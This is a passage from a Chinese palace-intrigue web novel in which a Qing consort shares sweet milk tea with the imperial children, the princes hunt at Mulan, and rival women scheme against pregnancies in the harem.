“三爷讲规矩,未必被她说动。”三福晋别的不好说,对自己丈夫的性子也算了解,寻常喜爱妾室的男子对正室说不上多尊重也会轻慢,但三爷不会,他只是喜欢西林觉罗氏这个人而已,不因为她是嫡福晋还是侧福晋。 想到这,三福晋心里更恨了,西林觉罗氏分明是打着婚前结识三爷的主意,而三爷确实对她上心了,若是万岁爷赐婚时让西林觉罗氏当嫡福晋,她为侧福晋。 等同于西林觉罗氏一进府就稳坐正妻位,还跟三爷夫妻感情甚笃,她作为侧福晋什么好处都没有,到头来做西林觉罗氏的陪衬,在后院无宠无子过完一生。 她怎么不能恨,好在万岁爷没有让西林觉罗氏得逞。 “福晋,侧院又有动静了。”门外一个奴才行迹慌乱。 “问府医发生何事了,若是情况急,我进宫请宫中太医过来。” 三福晋在明面上从不曾为难过侧福晋,主打一个没有宠爱、名声全捞。 她还真急切起身,徘徊在侧院外,西林觉罗氏知道后只觉得腹部更痛了,三爷出去后她肚子又疼了,嫡福晋还过来凑热闹,她心里满是憋闷。 不出一刻钟侧福晋身子就好转了,三福晋满脸遗憾离去,回到正院嘴角扬起,“她这胎既然老是出事,怎么不一劳永逸直接没了。” “福晋当心窗外有耳。” 三福晋嘴唇翕动,将一肚子气话咽回去。 …… 钟粹宫,“三哥。” 永璋给额娘请安后才看到自己六弟懒散坐在一旁,还挥了挥手跟他打招呼。 “永瑢,你怎么还是这么没精神。” 永璋已经不知道怎么说自己这位同父同母的兄弟了,小时候懒散,长大后还这么懒,现在有兄弟们帮忙打掩护还好,要是入朝廷当差,不得被皇阿玛呵斥没个人样。 永瑢眨了眨眼睛,“又没有皇阿玛。” 永璋无语,“得了,永瑢你去找七弟九弟他们玩去吧,老是这个样子没大没小的。” 永瑢慢吞吞“哦”了一声,纯妃还轻轻推了把小儿子,小儿子怎么说都不听,好在兄长的话还是听得进去的。 等永瑢一走,永璋便一五一十将侧福晋的事情讲明白了。 纯妃是站在侧福晋这边的,但是总不能无缘无故让嫡福晋留在府上,她再不喜娴妃侄女也知道规矩,嫡福晋是正妻,哪有正妻特地留下来照顾妾室的道理。 即便皇室血脉珍贵,可宫里从没发生过皇后因妃子有孕,对妃子处处细致照顾的事,侧福晋身边有奴才照顾,若侧福晋出事,她们讨不得好,嫡福晋能照顾什么?又不是奴才。 只是侧福晋这 胎胎像不好,没个主子守着或许真成问题,总要有拿捏主意的。 纯妃不多一会儿便想到了留宫之人有皇太后和裕贵太妃等太妃娘娘,不知她儿媳妇进宫陪几位长辈说说话,娘娘们可愿意? 纯妃为此亲自去了一趟寿康宫。 皇太后不理俗事,进了小佛堂。 裕贵太妃是挺喜欢有人陪她说话的,只是想到她跟贵妃关系亲近,和纯妃好起来不妥,便说自己一把老骨头,怕是跟孙媳妇聊不来,很是坦坦荡荡婉拒这事。 纯妃嘴角抽搐看着裕贵太妃一身硬朗骨头笑呵呵进屋,这样子还说是一把老骨头,这要是算老骨头,她就是好死赖活的废骨头了。 不过问起谦太妃时,谦太妃笑呵呵道:“太后娘娘的孙媳便是哀家的孙媳,让她进宫陪哀家吧。” 纯妃顿感惊喜,“是,太妃娘娘。” 宫中规矩深严,但这些事往小里说只是家事,皇帝得知了便让西林觉罗氏住在阿哥所,好方便陪谦太妃。 纯妃得以松一口气。 她儿媳住在宫里,又有谦太妃的帮衬,不怕出事。 纯妃宁愿麻烦点寻求太妃们帮忙,也不愿嫡福晋留下来的原因还有一个,她还盼着永璋出行时有嫡福晋打点后方,而且大阿哥带上妻儿,永璋身边无一人帮衬,万一出点事她不放心。 即便娴妃侄女哪哪不好,也是她正儿八经的儿媳妇,若是此行怀上嫡子,对永璋也是好的。 永璜有了嫡子,她儿子不能输给永璜。 …… “就是这样,贵额娘,儿子能不能在储秀宫歇会儿。”永瑢懒洋洋打了个哈欠。 魏紫菀忍住笑,她没想到六阿哥竟然是这种性子,为了贪图一时方便,居然将自己的亲哥和亲娘‘出卖了’,将永璋来找纯妃说悄悄话而赶他出来的事都告知她了。 见贵额娘捂着唇,永瑢愈发可怜巴巴了,“七弟他们不知去了哪,儿子走了好远,不想再找他们了。” “好,你就在储秀宫歇着吧,要喝奶茶吗?” 魏紫菀早就不对奶茶说奶/子/茶了,总感觉这个叫法不如现代的叫法简便。 永瑢犹豫,“贵额娘,能不能别放太多盐。” 魏紫菀一听哪还不知这小子嗜甜,立马就给他卖弄上自己的甜奶茶,“尝尝看好不好喝?” 永瑢一入口眼睛发亮,“贵额娘您怎么做的,能不能教教儿子!” 以前从未喝过这种味道的奶茶,他还以为这么多喜欢喝奶茶的兄弟,连皇阿玛都喜欢喝,是他自己出了问题,原来是这奶茶出了问题。 他就说怎么只有咸奶茶没有甜奶茶的。 “教你没问题,”魏紫菀乐得跟他分享自己的爱好,万岁爷也就一开始趁着兴致陪她喝甜奶茶,但后来就只专心喝咸奶茶了,个人口味改不了,几个儿女也不随她,都随了万岁爷。 这下有了同好,魏紫菀心情更好了,“只不过你要是研究出新的方子,可得告诉本宫。” “好!”永瑢铿锵有力点头,三两口便喝完一整碗奶茶了,“贵额娘,儿子还要。” 魏紫菀直接将整壶奶茶推到他面前,看着六阿哥精神抖擞解决了一碗又一碗的奶茶。 喝得肚儿倍儿圆。 魏紫菀深感六阿哥是个极好的奶茶搭子,又给他介绍了好几款自己研制的奶茶,永瑢看得一愣一愣的,感动道:“儿子现在才知道,贵额娘是天下最最懂儿子的额娘了。” 魏紫菀听得一愣一愣的,后知后觉这孩子不仅懒,还喜欢吃,但模样讨喜,有点像贪吃的福娃,是有奶便是娘的性子。 不过这种小孩给她的情绪价值也格外到位,她笑了笑,“喜欢喝就拿回去等肚子消了再喝,一天不能喝太多,当心上火。” “嗯嗯。”永瑢连连点头。 从寿康宫回来的永琮永璐两兄弟刚送走十一弟,就听到六哥的甜言蜜语,两兄弟一对视,顿感不妙,警惕心突起。 一进屋就看到额娘满脸高兴,六哥乖巧点头。 心里只有一个想法——六哥来跟他们抢额娘了。 第73章 第73章出行 永琮颇感威胁地将六哥推开,“六哥,你来找爷也不派人过来,干嘛找爷额娘。” 永瑢打了个哈欠,迷迷糊糊道:“七弟这有什么,你弟弟就是我弟弟,你额娘就是我额娘,咱俩谁分谁啊。” 这种欠揍的语气让永琮拳头发硬,“六哥!那怎么能一样。” 他又没将纯额娘当成自己的额娘! 永璐鞍前马后给额娘敲背递东西,“额娘,儿子是您最乖的儿子吧。” “确实乖。”魏紫菀点了点头,乖到今天都表现不正常了。 永璐点点头,“所以下回额娘就不用理会六哥了,儿子和七哥才是您最孝顺的儿子。” 魏紫菀不明所以,“你们三都是亲兄弟,何必分这么开,说起来,永瑢也是本宫儿子。” 后宫妃子丈夫都是同一个,儿子见到其他高位也得叫一声额娘,这如何不能算是某种意义上的共享儿子。 魏紫菀连共享丈夫这种事都能接受,还能不接受共享儿子,虽说这种共享说出来怪别扭的,但她也没法理解两个儿子这么别扭。 她都入乡随俗了,两个儿子是土生土长的皇子阿哥,应该更清楚才对。 永瑢见两个弟弟在这,看来是没法跟贵额娘商量奶茶之事了,他想了想,“贵额娘,儿子过几天来找您,要不您去钟粹宫也一样。” 他打了个哈欠,懒洋洋离开。 永琮气鼓鼓道:“额娘,您干嘛对六哥这么好?” 不单对六哥,对永瑆也是! 只不过永瑆是跟他们两兄弟结拜过的兄弟,额娘对永瑆好,他们勉强接受,但是六哥突然就过来,还突然成为额娘心目中的乖儿子,这就不行了。 六哥太可恶了,他明明有自己的额娘。 魏紫菀感觉自己拳头有点硬,“要不,额娘也给你们倒奶茶,不过你们不是不喜欢喝甜奶茶吗?” “偶尔喝喝也没事。”永琮正义凛然,魏紫菀忍不住拍了他脑袋一下,“不喜欢喝就别勉强自己,额娘给你们准备了咸奶茶。” 永琮动容,“额娘果然是天下最好的额娘了。” 永璐点点头,“不过儿子跟七哥不一样,儿子有时候挺喜欢喝甜奶茶的。” “永璐!”永琮鼓起腮帮子,永璐说自己就算了,干嘛还拉上他,他才不要成为额娘心目中的挑食的儿子。 看他们肉麻的样子,魏紫菀浑身起了鸡皮疙瘩,毫不客气给两个儿子倒了两碗味道特浓的甜奶茶。 两个儿子端起奶茶一喝,面目扭曲。 魏紫菀只觉得舒心了,“下回还这么磨磨唧唧,加的就不止是双倍糖了,额娘保准甜腻歪你们。” “额娘!” 永琮艰难咽下奶茶。 “怎么?” “儿子知错了。”永琮立马改口,心想这不对啊,他明明学了和静和恪撒娇的模样,怎么额娘看起来好似挺嫌弃的。 永璐就挺实诚的了,“额娘,下回儿子自己加糖。” 魏紫菀拍拍两儿子脑袋,“下回不想喝就别喝,想这么多干什么,额娘还盼着你们给额娘狩猎来上好的皮毛。” “额娘放心,就交给儿子吧。” 永琮立马提起精神,拍了拍胸膛。 永璐虽不说话,但他似有若无展示了自己强壮的手臂。 他作为额娘儿子,肯定会给额娘最好的皮毛,让额娘比现在风光! 魏紫菀看两个儿子很快商量好去寿康宫锻炼身体,悄无声息松了口气。 果然顺毛是件难事,但都难不倒她。 两日后,被解禁的大阿哥夫妇带着两个胖小子前来储秀宫请安。 永璜是万岁爷的儿子,换句话来说也算是她的儿子,魏紫菀对一下子有了两个蹦蹦跳跳的小孙子不大习惯。 不过绵德和绵恩两个小阿哥显然被教养得极好,一左一右站在玛嬷身边便乖乖不动了。 魏紫菀给他们递去点心,两小孩乖乖吃了,点心一口一个小坑,还怪可爱的。 永璜语气兴奋,“贵额娘,儿子此行必然让皇阿玛刮目相待。” 大福晋掩唇一笑,“贵额娘,大爷不争那个位置,以大爷的年纪,皇阿玛迟早得给大爷封王了,大爷这是在跟您炫耀呢。” 有个爱拆台的妻子让永璜下不来台,他瞪了眼福晋,故作无事道:“咳,贵额娘,等儿子封王了,必然是七弟九弟他们的依靠 。” 他看出贵额娘对争抢那个位置毫无兴致,但是日后等皇后的嫡子和慧妃的龙凤胎长成,甚至娴妃那胎可能生下一个阿哥,贵额娘极有可能被迫挤进她们的争夺中,七弟聪慧,九弟机敏,作为宠妃之子,必然会被有心那个位置的人视作阻碍。 现在不动贵额娘只是因为她们的儿子还未长成。 魏紫菀点头,“你既然将本宫当作亲生额娘对待,本宫必然不会落了你的好。” 她拍了拍绵德绵恩两个小阿哥后背,大阿哥的意思很明显,就是跟她结盟,在宫里有些事她能帮就帮,就比如两个小阿哥到了年纪去尚书房后,她帮忙打点。 而在朝廷之事上,自有大阿哥护着她两个儿子。 有一个放弃争夺皇位的阿哥过来投靠她,她乐得接受,说不定哪天她还得向大阿哥讨讨经。 “是,额娘。” 夫妻俩异口同声。 …… 很快到了北狩的日子。 太后太妃们年纪大了操劳不得,对北狩一事毫无兴致,除了谦太妃会远远看一眼出行的队伍,基本没太妃想着去北狩,一路上风吹雨打的有何意思。 不过谦太妃也不见得是对北狩有兴趣,她只是想远远看一眼自己的嫡亲孙女,舒嫔抚养弘曕女儿后,来寿康宫的日子越发稀少,大概是怕她抢走孩子吧。 若非看在舒嫔对她孙女一心一意,她绝对容忍不了舒嫔的小动作。 魏紫菀带着两个女儿坐在马车上,着实有些困乏,昨晚两小只太过兴奋闹了一晚上,还是她拿点心做威胁,两个小公主不得不安静下来,乖乖趴在额娘怀里睡了。 今天一早,和静和恪两个孩子困得差点起不来身,魏紫菀用凉水碰了碰两孩子脸才让她们精神起来,要是让她们继续睡下去,晚上就不用睡了,又重复昨晚的兴奋,多折腾人啊。 等上了马车后,两孩子精神焕发,“额娘,和静要捉五只小兔子。” 和恪捏紧小肉手,“六只!” 她不会输给姐姐哒! “好好好,你们五只六只。”魏紫菀敷衍过去。 和静还在嘀咕,“一只给额娘,一只给和静,给妹妹,给哥哥!给阿玛,贵玛嬷!” 她后知后觉五只手指好像凑不齐这个数,就将妹妹手指抢过去两只,数了数,够了。 和恪任姐姐‘欺负’,她还小,不会数数,随口的六只也是跟着姐姐嘀咕的。 额娘闭上眼睛睡着了,两只小姑娘说话的声音慢慢放轻,到最后小公主们干脆趴在窗口看着马车外的风景,额娘累了,她们不会吵着额娘的! 经过长途跋涉,一行人才终于抵达木兰围场。 皇帝是贪图享受的,木兰围场处多处设有行宫,足够皇帝和随行之人住下。 只不过皇帝还想领略大草原风光,打算在蒙古包住上几晚,有皇帝带头做示范,魏紫菀也十分自然地住在一处刚建好的蒙古包里,别的不说,跟着皇帝做事,衣食住行不会差。 两个小公主围着蒙古包转了好几圈,两个小孩都很兴奋,毕竟这是她们长到这个年纪头一次过来木兰围场。 “额娘,我带和嘉姐姐过来了!”小和静出去一趟,不知从哪儿牵来了四公主。 和嘉公主脸色绯红,“女儿给贵额娘请安。” 魏紫菀愣了一下,笑道:“既然来了就好好玩吧,不用跟贵额娘客气。” 她不自觉瞟了一眼大女儿,感觉大女儿跟大儿子一个属性,格外招兄弟姐妹喜欢,总是不知不觉带走一众皇子公主,成为众人的中心点。 “是,贵额娘。”和嘉偷偷看了眼令贵妃,感觉贵额娘不似额娘口中的可恨,而是一个说话很温柔,很善解人意的好额娘。 她挺喜欢长得好看,又说话温柔的贵额娘的,贵额娘光是站在那里,她就想凑过去了。 好羡慕和静和恪的额娘。 和嘉一边想着,一边自然而然凑过去了,“贵额娘,您喜欢什么样的女儿,是像和静活泼,还是像和恪安静?” 和嘉被谦太妃养了一段时日,老人家养孩子一般是看孩子吃得多不多,跑的勤快不勤快,谦太妃年轻时只是包衣宫女的出身,让她学着贵族人家养孩子的细致,那断然不成,但是她糙养孩子的方式反而让和嘉身子愈发康健了,一整日到处活动,吃得又多,代谢越来越好,和嘉胖了不少,养成了一般女孩儿到这个年纪的健康体态。 身体健康跟上来了,说话就不似从前胆怯,见贵额娘待她和气,更是蹭的一下拉近距离。 魏紫菀虽有些在意她是慧妃女儿,但是一个不曾对她表露恶意的小女孩,她倒也能将她当成女儿看待。 “像和静和恪这样老是蹦跶的,有她们两个就够了。”她仔细想了一下原身一生中总共怀过七个孩子,只有两子两女长成,另外两个阿哥早早夭折,还有一个在腹中就小产了。 若是腹中那个孩子生下来,或许是个漂亮的小公主。 她似原身生下和静和恪两个女儿,也不知道会不会像原身那样怀上那个小产的孩子。 若是再有个女儿,怎么样都好,身体健康就行。 第74章 第74章永瑢 和静年纪小小,但感知非常敏感。 看着原本跟自己玩的四姐姐跟额娘说起话来了,完全忘了她和和恪,她感觉不对劲。 但是哪里不对劲却说不出来,毕竟年纪小,并不知事,不似兄长们能很快反应过来有人跟自己抢额娘,小孩只能嚷嚷,“额娘,我想吃点心。” “青柳。”魏紫菀一声叫唤,青柳便端着驴打滚过来,“和静公主,您要的点心在这儿。” 和静腮帮子气鼓鼓,一把抓起点心先塞给妹妹,再塞进嘴里,眼睛眨也不眨看着四姐姐跟额娘说话。 听不懂……喜欢的女儿,和静知道这个,额娘最喜欢的女儿就是她和和恪了。 她点点头,期待额娘回答,额娘说有她们就够了,她也觉得够了。 她和和恪是额娘最乖巧最懂事最贴心的女儿了,但是为什么四姐姐要问额娘这个。 小公主满眼茫然,吃着点心糊得满嘴是黄豆粉,见四姐姐和额娘越说越开心,额娘还说,四姐姐也是极好的女儿。 和静总算反应过来了,“额娘,我才是最乖的女儿。” 和恪不懂,但她看到姐姐说自己最乖,她下意识为自己争宠,“我才是!” “好好好,你们都最乖最听话最懂事。”魏紫菀闲谈之余不忘给两个孩子顺毛,“要不要出去玩?” 和静摇摇头,“不去。”她要看着额娘和四姐姐。 和嘉一个不满七岁的小孩哪有什么抢额娘的心思,她只是看贵额娘月眉星眼,宛若桃花,小孩喜欢漂亮事物的天性作祟,下意识就想变成贵额娘喜欢的女儿性子。 只是贵额娘说有六妹妹和七妹妹就够了,她问道:“贵额娘,以后女儿能经常过来找您吗?” 魏紫菀下意识看了眼跟在和嘉公主身后的奴才,那奴才眼观鼻,鼻观心,愣是半句话都不敢说。 她其实不太愿意接近慧妃子女,慧妃早些年还想害了永琮,但孩童无辜,和嘉还养在了谦太妃身边,只是在北狩时才跟在慧妃身边。 她照旧得防着,面上功夫对付过去就好。 “你额娘多久没跟你一起住了,你多陪着你额娘才是,”在和嘉脸上明显露出失望之色时,魏紫菀话锋一转,“不过你若是实在想过来,那就过来吧,和静和恪两孩子挺喜欢你这位姐姐的。” “好!”和嘉得到肯定答复,带着满心欢喜跟两个妹妹玩在一起。 魏紫菀出了蒙古包,天上有鷞鸠掠过,李祖德正提着一个笼子过来,笼子里装着两只兔子,“娘娘,都在这里了。” “本宫就指望这两只兔子能勾住她们了。” 魏紫菀将手伸进去摸了摸兔子的毛发,有些糙,不油滑,兔子被人摸了一点反应都没有,只 顾着吃叶子,即便是她随手从草地上摘下来的叶子,兔子也吃得飞快,还随时随地拉粪便。 不过草食动物的粪便一般是没什么臭味的,她不怕两个孩子碰到。 李祖德待主子摸完后才提进去给两位小主子看,蒙古包里果然响起小女孩惊喜的声音,魏紫菀回头一看,两个小孩手舞足蹈,蹲下来跟兔子说话。 和嘉拿来草料给兔子喂吃的,两小孩见了,也拿起草料喂兔子。 后来和静见兔子什么草都吃,忍不住带着姐姐妹妹到处去寻各种各样的野草,给兔子尝尝新鲜。 魏紫菀看她们给兔子尝鲜是假,满足自己好奇心,看兔子是不是什么草都吃才是真。 她摇了摇头,不掺和进小孩幼稚的把戏。 …… 头天扎营,这广阔之地,挖沟树栅,层层关卡有重兵把守。 木兰围场取自哨鹿意思,每年都有皇帝和朝廷臣子到此处围场狩猎,且年年没落下吹哨效仿鹿声引鹿的活动,这一活动名为哨鹿,而哨鹿一词用满语来说,就是木兰,这就是这处草原被称作木兰围场的缘故。 因此第二日皇帝就决定跟八旗子弟狩猎野鹿,八旗子弟负责合围,有人吹响鹿哨,引鹿出来,皇帝看准时机一射一个准。 皇帝首射之后,其他臣子就可以正式狩猎了。 但是皇子们觉得这样太没挑战性了,都各自去寻找猎物。 永琮带着两个弟弟坐在小马驹上使劲跑着,永琮射术不错,就是年纪小,力度不足,永珹得意洋洋跑过几个弟弟,丝毫没有自己仗着年纪大欺负弟弟的羞愧,狩猎到猎物后,即便是个头不大的兔子,也特地在弟弟们面前炫耀。 气得永瑆放狠话,“四哥,回去我要向额娘说你!” 这同母兄弟就是这点不好,告状起来格外理直气壮。 永珹顿时焉巴了,“男子汉大丈夫行小人行径,永瑆,你不要让四哥小看你。” 永瑆记在心里,“我还跟额娘说你说我是小人!” “我什么时候说了!” “你现在就说了!你还小看我!” 永璋不理会两个脾气火爆的弟弟,一心一意想捉点猎物给额娘和弟弟亮亮眼,六弟什么都好,就是特别懒,给他坐着绝不站着,给他躺着绝不坐着,有这么个好弟弟,永璋着实无力。 只好将自己的猎物分一小半给弟弟,让弟弟应付过去,省得又被皇阿玛说。 “六弟,你跟紧爷,别一晃眼就没了踪影!六弟,六弟,叫你呢,六弟?六弟!” 永璋一回头,自己的同母弟弟不知何时失了踪影,还真是说不见就不见,让他操碎了心,大好脾气被搞得破防了,“爷要是再分给他猎物,爷就跟他姓!” 随行的奴才心里腹诽,三爷,您就算不分给六爷,您也跟六爷一个姓啊,而且您每次嘴上说得好好的,哪次不是出尔反尔,说给就给了。 主子的心思奴才猜不明白,也只敢在心里嘀咕两句。 永璋最终还是捏紧马绳回去找六弟了。 殊不知永瑢早就趁着这个机会跑到贵额娘蒙古包附近,‘巧合’被贵额娘看见,邀请进屋里喝奶茶。 永瑢既懒又馋,但是模样似福娃讨喜,寻常人根本讨厌不起来这样一个有福气的孩子,这孩子又不争不抢的,连皇后、慧妃这等忌惮各妃所出皇子的上位者都不吝啬对这孩子的纵容。 一个因自身性子注定坐不上皇位的皇子,自有上位者将其当作自己施展恩惠手段的对象。 但永瑢对皇额娘和各个妃额娘都不大在意,毕竟他对自己亲生额娘也没几分在意,用一个词来形容,大概就是生性懒散,对所有事都淡淡的。 对贵额娘产生好感还是因为那天喝的奶茶。 回去后永瑢亲自动手搭配奶茶,却怎么都喝不出那日的味道,按照方子搭配一遍也一样,他就自觉是自己没搞懂要点。 这会儿跑过来寻贵额娘就是为了弄懂这甜奶茶怎么做才有那日喝到的滋味。 魏紫菀弄懂他的来意,忍俊不禁,“不若你派个奴才过来,本宫派人教会他,你不就能随时喝到甜奶茶了。” 永瑢认真点点头,“贵额娘言之有理。” 还眼巴巴看着魏紫菀手中的奶茶。 魏紫菀亲手示范怎么煮‘珍珠’和芋圆,身后奴才看着六爷认真的模样,倍感稀奇,从前可不见六爷读书、做事这么认真,现在为了一口吃的居然这般诚恳。 果然主子的心思当奴才的悟不透。 “贵额娘,甜奶茶这么好喝,之前儿子没看到七弟九弟他们喝,要是知道他们喝甜奶茶,儿子早就过来找您了,儿子活了这么久,才知道还有这么合儿子口味的东西。” 这语气还怪可怜的,魏紫菀笑道:“他们不爱喝这个,你皇阿玛和六妹七妹也不爱喝,平时只有本宫一个人喝,他们都喝惯咸奶茶了,你随本宫口味,本宫还挺惊喜的。” 永瑢眼睛一亮,“那贵额娘就将儿子当作您亲生儿子吧,做了甜奶茶就尽管塞给儿子。” 魏紫菀拌着‘珍珠’的手差点抖了,这是什么乱七八糟的话,就是为了蹭奶茶也不能这样说吧。 她总算明白过来纯妃的这个儿子有多不着调了,其他人在意的脸面问题,在永瑢这里完全不是问题,倒有他叔叔和亲王的几分风范,“你想什么时候过来喝奶茶,便告知本宫奴才吧。” 为了一口奶茶这么说,要是纯妃知道了,不得好好敲打这个儿子。 “是~”永瑢高高兴兴应下。 蒙古包外,永璋还在辛辛苦苦找寻自己六弟,殊不知六弟已经抛下他去吃香喝辣了。 找了半日无果后,才得知永瑢去找贵额娘了,那瞬间他想揍弟弟的心思都有了。 不过弟弟在贵额娘那里,他也算放心,捧着弟弟难得良心发现送给他的甜奶茶,不情不愿喝了几口,砸吧着味道还不错,就继续去搜寻猎物。 摊上一个没用的弟弟,当哥的总要帮着收拾残局。 永璜作为老大哥专门带七弟九弟十一弟他们赶往猎物最多的地方,还以老练的经验手把手教导永琮怎么快准狠下手却不损到动物皮毛,听得永琮惊叹连连,两个更小的弟弟敬仰的目光让永璜心情舒畅,“好弟弟,今天全看你们大哥的,看大哥给你们露一手!” 永琮“大哥好厉害,我要学大哥!” 永璐“大哥一射一个准,太厉害了!” 永瑆“大哥比四哥厉害多了!” 在弟弟们的吹捧下,永璜愈发得意忘形,仰天哈哈大笑。 于是此行完全成了永璜炫技之行。 永璜两个年幼的儿子还在出发点摸着小马驹不敢上去。 大福晋和侧福晋两人看着儿子,不解大爷去了哪,大爷不是说要教儿子骑射吗,人都不见了还怎么教。 久久不见大爷回来,两位福晋也只能带着儿子去找贵额娘了。 魏紫菀分享了好多种味道的奶茶,出乎意料,两位福晋口味也跟她相近,对甜奶茶并不抗拒,还挺喜欢的。 两只小的也喜欢喝甜奶茶,小阿哥们喝得腮帮子鼓鼓的,牙齿使劲磨着珍珠,魏紫菀笑道:“你们俩可不能喝太多,这东西是跟茶叶一起煮的,茶让人醒神,奶茶也一样,喝多了你们今晚估计就睡不着了。” “知道啦。”两个小阿哥点头,是挺乖的。 魏紫菀摸摸他们的头,“你们当额娘的,还是得经常带他们俩出来,永琮永璐像他们这般大时,活蹦乱跳像只猴子,他们太过乖巧也不好,孩子该有个孩子样。” 不是说安静的孩子就不该存在,而是这两孩子明显被禁足影响了性情,说话时总会下意识看大人反应。 “儿媳明白的。”大福晋几不可闻叹气。 前些年那是没了办法,但现在出来了,也该带两个孩子壮壮胆了。 第75章 第75章合作 往后大爷是不图那个位置的,她和伊尔根觉罗氏的子嗣不会惹人忌惮,万岁爷不看重长子长孙,对 她的孩子来说就是最大的恩赐。 往后她就慢慢养着孩子吧,好在贵妃娘娘同他们家志同道合,互帮互助,这日子是越过越有滋味了。 大福晋被禁足几年,出来时不感觉浑身轻松,但此时此刻,看着孩子柔软可爱的脸庞,外边青草碧云天,她由衷感受到一种安宁的滋味反复涌动。 一家人安安乐乐的就好。 当然,等大爷回来,必然要让大爷说清楚去哪儿了,还将两个儿子抛下了,在儿子面前说话不算数,成何体统。 …… 永瑢拿着一大壶奶茶满载而归,直接吩咐自己身边的奴才,下回领了他的乳牛份例直接给贵额娘,要是贵额娘不嫌麻烦,他今后的份例直接被贵额娘领了也行,不必转手。 永瑢自觉自己连吃带拿的,占储秀宫好处不大好。 他感觉自己是礼数周到了,但纯妃知道他去储秀宫拿吃拿喝的不止一次两次,她两眼一黑,“你真是会给额娘找麻烦。” 对这个儿子是骂也骂不得,说也说不得,纯妃气得牙痒痒,“你缺喝的还是吃的,怎么还非得去找令贵妃蹭吃蹭喝。” 令贵妃脾气好,对小孩都宽容这事她知道,毕竟也只有令贵妃宠孩子宠成那个模样,搬过去阿哥所的皇子们几乎每天都往储秀宫跑,被太后太妃们抚养一段时日的公主们因想念额娘再度回到储秀宫。 但是她没想到自己小儿子也上赶着。 她吩咐道:“日后你别去令贵妃那了。” 永瑢摇摇头,也不问为什么,“儿子就是去喝奶茶,贵额娘人很好的,额娘你不要胡说八道。” 他见额娘还瞪着眼睛,想了想还是直接回去了,额娘好啰嗦,贵额娘又没做错事,干嘛还不许他去贵额娘那儿。 永瑢最大的优点就是对自己的事非常上心,以至于听不进他不想听的话。 纯妃头痛,罢了罢了,也不指望永瑢给她争光。 “娘娘,六阿哥接近令贵妃也是好事。”心腹给她按揉着穴位。 “谁说就是好事了。”纯妃早就意识到了,这宫里谁都靠不上,不管是皇后、慧妃、娴妃、嘉妃,还是至今为止看似没有算计过人的令贵妃。 她谁都不想接近,令贵妃不也存着这种想法吗,看似跟所有人姐姐妹妹谈得来,可实际上,跟令贵妃关系亲近的也只有储秀宫的婉嫔和颖贵人。 无论是皇后、娴妃还是慧妃,都不是良善人,有些事看得太透没意思,自己知道什么情况就好。 而令贵妃不亲近人,她何必上赶着,惹人忌惮。 “既然永瑢接近令贵妃成了既定之事,劝也不听,就随他去了。” 她儿子她了解,说是蹭吃蹭喝的,就绝对不会干出别的事,别说是夺嫡之事了,永瑢脑子里能有这根弦,她都能谢天谢地了。 她只得派自己人跟在永瑢身边,时时刻刻注意永瑢在令贵妃面前做了什么事,说了什么话就好。 …… 翊坤宫,娴妃听从太医劝告,为防胎大难产,起身散步。 大抵是巧合,在走到御花园附近便看到了三阿哥的侧福晋,西林觉罗氏。 她是嫌这人碍眼的,一入府就怀上身孕,为妾者没当妾的自觉,当正妻的是她侄女,侄女入府便受尽苛待。 一入当年她入府当了侧福晋,而高氏只是个使女,后来高氏成了侧福晋,她这个第一侧福晋就什么都不是了,不过是个使女,当了侧福晋也就罢了,还在封妃后成了贵妃,压在她这个第一侧福晋之上。 她的境遇跟侄女的境遇几乎重叠起来,而且高氏比她还早生下孩子,这西林觉罗氏亦是如此,她对西林觉罗氏没有一丝好感。 “娴妃娘娘万福金安。”西林觉罗氏急急行礼,娴妃瞥了眼她肚子,“起来吧。” “是。”她不敢跟娴妃留在一处,但也不敢当着高位者的面擅自行事。 待娴妃一走,她松了口气,汗淋淋的感觉从后背渗透,别的不说,就凭娴妃是嫡福晋的姑姑,她就绝对放心不了娴妃。 “侧福晋,咱们走得太远了,该回去了。” 西林觉罗氏抬头,这才后知后觉自己来到了储秀宫附近,这里离咸福宫极近,听三爷说起宫中的算计,娴妃好似跟咸福宫的陆答应闹不和…… 她眸子微闪,说实话,嫡福晋在后院底气十足,除了她正妻身份确实高贵,也有娴妃给她撑腰的缘故,娴妃这胎一旦生下是个阿哥,嫡福晋底气更足了。 只不过算计娴妃腹中子嗣的想法一闪而过,西林觉罗氏还真没胆子对娴妃这胎下手,她能不能接触到娴妃是一回事,在娴妃的地盘能不能全身而退是另一回事。 没必要为了一种可能将自己和孩子、族人的性命赌上。 “鄂侧福晋。”西林觉罗氏的祖宗常以鄂字为汉姓,毕竟西林觉罗氏的满族姓氏叫下来绕口,比如鄂尔泰,又比如宫里的鄂常在,有人叫她一声鄂侧福晋倒也正常。 这道女声响起,西林觉罗氏明知不对劲,却仍是停住脚步了。 或许心里存着一丝希翼,不然她也不会下意识走到咸福宫附近,她回头一看,是一个憔悴却不失貌美的女子。 这个模样不似奴才,但也没有主子姿态—— 也是,在几乎满后宫妃子都随驾而去的时候,能留在宫里的除了养胎的妃子,还有犯错的妃子。 也就是说,面前这人是陆答应。 “你是陆答应?”西林觉罗氏直接开口问。 “我是。” 陆答应看着对面女子,她一眼就认出了这是谁,这个时候除了娴妃有孕,就只有进宫陪谦太妃的侧福晋西林觉罗氏了。 她一直在咸福宫附近守着,终于,今日让她寻到机会了。 总有人说‘终日打雁,终被雁啄’,可这叫她怎么服气,她头一回算计,就被揭露得体无完肤,赔上了自己一辈子的恩宠和前途,甚至还连累她父兄姐弟。 她偏偏不信邪,娴妃打她一巴掌能全身而退,不过是因有孕救了她一回。 有了孩子,娴妃所谓的禁足也不成禁足了。 她仍是禁足,但娴妃不在万岁爷眼皮子底下,随时都能出来走动。 娴妃能出来走动就意味着,翊坤宫不再是固若金汤,而她需要一个人帮她。 西林觉罗氏就是最好的人选。 本是三阿哥嫡福晋的出身,却被娴妃侄女压着一筹,由妻变成妾,西林觉罗氏难道不恨吗? 她相信西林觉罗氏对三福晋的恨,不比她对娴妃的恨少,作为三福晋靠山的娴妃,被西林觉罗氏恨屋及屋很正常。 不然她光是拼运气搏一把竟真的搏来了西林觉罗氏,这怎么可能。 西林觉罗氏极其默契咽下了自己想问的话。 有些事,不主动争,到最后只会人为刀俎,我为鱼肉,她意识到陆答应叫住她是为了算计娴妃,而她也有意借助陆答应对娴妃的熟悉以及在宫里的人手,算计娴妃这胎。 她不管嫡福晋是怎么自得自己随三爷北狩,她会让嫡福晋后悔没有留下来的。 …… 木兰围场 “好耶。”永瑆高兴得蹦起来,大哥和七哥合力打下了好多猎物,其中最大只的就数两头野鹿,大哥一头,七哥一头,鹿皮要扒下来给贵额娘做衣裳,鹿肉分他一大半! 还有敏狐,足足有四只,他们人手一只。 